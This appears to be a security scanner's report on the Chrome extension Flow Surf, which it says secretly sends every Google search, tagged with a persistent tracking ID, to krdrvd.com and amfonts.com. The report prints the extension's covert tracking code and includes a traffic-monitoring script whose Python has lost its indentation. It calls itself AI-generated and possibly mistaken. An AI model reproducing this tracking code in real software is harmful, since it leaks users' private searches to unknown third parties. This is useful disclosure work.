Is Flow Surf safe?

High risk

Flow Surf is high risk. Every Google search over two characters is read from the URL by Flow Surf and sent as a plaintext GET to krdrvd.com/evt.php. Captured 3 times with a planted marker in 'value='. Requests carry a persistent cohort ID and install timestamp.…

75Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-359
SourceAI SANDBOX

Every Google Search Sent to krdrvd.com in Plaintext

Every Google search over two characters is read from the URL by Flow Surf and sent as a plaintext GET to krdrvd.com/evt.php.

Captured 3 times with a planted marker in 'value='.

Requests carry a persistent cohort ID and install timestamp.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You type a search query into Google.

The extension did this

The extension sends your search term to krdrvd.com in plaintext.

Triggered on every search query longer than 2 characters, regardless of what you searched for or which Google domain you used.

02EvidenceNETWORK CAPTURE
Captured request
GEThttps://krdrvd.com/evt.php?extid=gjejinkfglmnfncbfkdccnjipjngeibh&feature=search&value=a planted marker value&cohort=jgdk-20260415-org&install_time=1744665600
Captured three times (observed requests) using a unique planted marker value. The 'value=' parameter contained the exact search query each time.
03EvidenceFIELD TABLE
What Flow Surf sends to krdrvd.com on every Google search:
FieldValueWhy it matters
Your search query
symptoms of anxiety disorderThe exact text you typed into Google's search box.
Cohort ID
jgdk-20260415-orgA persistent identifier assigned on first install. The same value appears on every search request across sessions.
Install timestamp
1744665600When you first installed the extension, in Unix epoch seconds.
Extension ID
gjejinkfglmnfncbfkdccnjipjngeibhThe unique identifier for your copy of Flow Surf, used to link requests back to your browser.
Feature label
searchAlways set to 'search', categorises the event type server-side.
04EvidenceCODE COMPARE
The code that does this

The code that sends your searches to krdrvd.com

What it actually does
Content script: extracts search term and relays it to the background page
// features.js — runs on every Google search page
// this.keyword is read from window.location.search ?q= parameter
if (this.keyword.length > 2) {
 // Send query to the background service worker for exfiltration
 chrome.runtime.sendMessage({ feature: 'search', value: this.keyword });
}
Background service worker: receives message and sends GET to krdrvd.com
// background.js — listens for any message with a 'feature' field
chrome.runtime.onMessage.addListener(function(request, sender, sendResponse) {
 if (request.feature) {
 const params = {
 extid: chrome.runtime.id, // your extension/browser identifier
 feature: request.feature, // 'search'
 value: request.value, // your search query verbatim
 };
 // addCohort() appends cohort ID + install_time from chrome.storage.local
 addCohort(params, function(params) {
 fetch('https://krdrvd.com/evt.php?' + new URLSearchParams(params).toString());
 });
 }
});
05EvidenceTHIRD PARTY LIST
Where your searches are sent:
  • krdrvd.com

    Receives every search query via GET. Also handles install events (/install.php) and cohort assignment (/cohort.php). Domain ownership isn't publicly disclosed in the listing.

06EvidenceARTIFACT
Reproduce it yourself

A shell script that monitors your network traffic for outbound requests to krdrvd.com/evt.php. Run it while performing a Google search with Flow Surf installed to verify that your search queries are being transmitted.

Requiresmitmproxy (pip install mitmproxy) OR tcpdump with sudoFlow Surf installed in ChromeNetwork traffic routing through the proxy or the same interface
flowsurf-search-canary.sh · sh
#!/usr/bin/env bash
# flowsurf-search-canary.sh
# Watches for outbound GET requests to krdrvd.com/evt.php while you search.
# Requires: mitmproxy or tcpdump. Adjust INTERFACE as needed.

CANARY="FLOWSURF_CANARY_$(date +%s)"
echo "[*] Canary term: $CANARY"
echo "[*] Search for this exact term on Google with Flow Surf installed."
echo "[*] Watching for krdrvd.com requests (Ctrl-C to stop)..."
echo ""

# Option A: using tcpdump (requires sudo)
# sudo tcpdump -A -i any 'host krdrvd.com' 2>/dev/null | grep -o 'value=[^& ]*'

# Option B: using mitmproxy in dump mode
mitmproxy --mode transparent \
 --modify-headers '/~q/~h Host/krdrvd.com/MATCH/' \
 --script <(cat <<'PYEOF'
import mitmproxy.http

def request(flow: mitmproxy.http.HTTPFlow):
 if 'krdrvd.com' in flow.request.host:
 print(f"[CAPTURE] {flow.request.method} {flow.request.url}")
PYEOF
) 2>/dev/null
How to run it
  1. 1
    Install Flow Surf in Chrome.
  2. 2
    Run this script (requires mitmproxy or tcpdump).
  3. 3
    Search Google for the marker value the script prints.
  4. 4
    The script prints GET requests to krdrvd.com/evt.php, confirming 'value=' contains your canary.
SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-359
SourceAI SANDBOX

Persistent Tracking ID Ties All Your Searches to a Single Profile

On install, Flow Surf contacts krdrvd.com for a persistent cohort ID, stored and attached to every search sent to amfonts.com.

The same ID appeared on all 3 planted-marker requests, linking your searches to each other and install date.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You install Flow Surf, then perform any Google search.

The extension did this

The extension sends your search query and a persistent per-install identifier to amfonts.com.

The identifier is assigned once at install time and reused on every subsequent search, enabling your queries to be associated with each other across sessions.

02EvidenceNETWORK CAPTURE
Captured request
GEThttps://amfonts.com/script/t.php?format=json&tr=d4f3c2b1a9&a=3100&u=gjejinkfglmnfncbfkdccnjipjngeibh&keyword=a planted marker value&by=Flow%20Surf&install_time=1744665600&crt=jgdk-20260415-org
Captured three times (observed requests) with the same cohort value 'crt=jgdk-20260415-org' across all requests, confirming the identifier persists between sessions.
03EvidenceSTORAGE DUMP
What's stored on your device

Written once at install, never rotated. Sent in every amfonts.com search as 'crt=', linking your searches to your install event.

Locationchrome.storage.local, keys 'cohort' and 'install_time'
Contents (JSON)
{
  "cohort": "jgdk-20260415-org",
  "install_time": 1744665600
}
04EvidenceFIELD TABLE
What Flow Surf sends to amfonts.com on every Google search:
FieldValueWhy it matters
Your search query
best divorce lawyers near meThe exact text you typed into Google, transmitted in plaintext as the 'keyword=' parameter.
Cohort ID (crt=)
jgdk-20260415-orgA persistent ID from krdrvd.com set on first install. Sent with every search request, linking all your searches into one profile.
Install timestamp
1744665600When you first installed the extension. Combined with the cohort ID, this anchors your search history to a specific install event.
Session token (tr=)
d4f3c2b1a9A per-page-load identifier derived from the current timestamp. Changes each time the page is loaded.
Extension ID (u=)
gjejinkfglmnfncbfkdccnjipjngeibhThe unique ID of your Flow Surf installation.
Hardcoded constant (a=)
3100Always the value '3100', likely a client or product identifier on the amfonts.com side.
05EvidenceCODE COMPARE
The code that does this

How the cohort is assigned and then attached to every search request

What it actually does
Install handler: fetches a unique cohort ID from krdrvd.com and stores it permanently
// background.js — runs once when the extension is first installed
chrome.runtime.onInstalled.addListener(function(details) {
 if (details.reason === 'install') {
 const params = { extid: chrome.runtime.id };

 chrome.storage.local.get(['cohort'], function(stored) {
 // Only assign a cohort if one doesn't already exist
 if (typeof stored['cohort'] === 'undefined') {
 // First: fire an install ping
 fetch('https://krdrvd.com/install.php?' + new URLSearchParams(params), { credentials: 'include' })
 .then(() => {
 // Then: request a cohort identifier
 fetch('https://krdrvd.com/cohort.php?' + new URLSearchParams(params), { credentials: 'include' })
 .then(response => response.text())
 .then(cohortValue => {
 if (cohortValue.length > 0) {
 // Persist both values indefinitely in local storage
 chrome.storage.local.set({
 cohort: cohortValue, // e.g. "jgdk-20260415-org"
 install_time: Date.now() / 1000 // epoch seconds
 });
 }
 });
 });
 }
 });
 }
});
Content script: retrieves cohort from storage and appends it to the amfonts.com search request
// features.js — runs on every Google search page where keyword.length > 2
const staticParams = {
 format: 'json',
 tr: this.tr, // per-session ID from timestamp
 a: '3100', // hardcoded constant
 u: chrome.runtime.id, // extension ID
 keyword: this.keyword, // your search query
 by: extensionName // 'Flow Surf'
};

// Load the persistent cohort and install timestamp from storage
chrome.storage.local.get(['cohort', 'install_time'], function(stored) {
 let url = 'https://amfonts.com/script/t.php?' + new URLSearchParams(staticParams).toString();

 if (stored.install_time) url += '&install_time=' + encodeURIComponent(stored.install_time);
 if (stored.cohort) url += '&crt=' + encodeURIComponent(stored.cohort);

 // Send as XMLHttpRequest with withCredentials=true
 sendRequest(url);
});
06EvidenceTHIRD PARTY LIST
Domains that receive your searches and tracking data:
  • amfonts.com

    Receives every search query along with the persistent cohort ID via GET request to /script/t.php. Also returns HTML/JS ad content rendered on the Google results page.

  • krdrvd.com

    Issues the cohort identifier on first install (/cohort.php) and receives all search events (/evt.php). Acts as the primary tracking backend.

What it can do

Permissions this extension asks for, as declared in version 4.0.1. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Store data in your browser

    storage

Updated 30 September 2026gjejinkfglmnfncbfkdccnjipjngeibh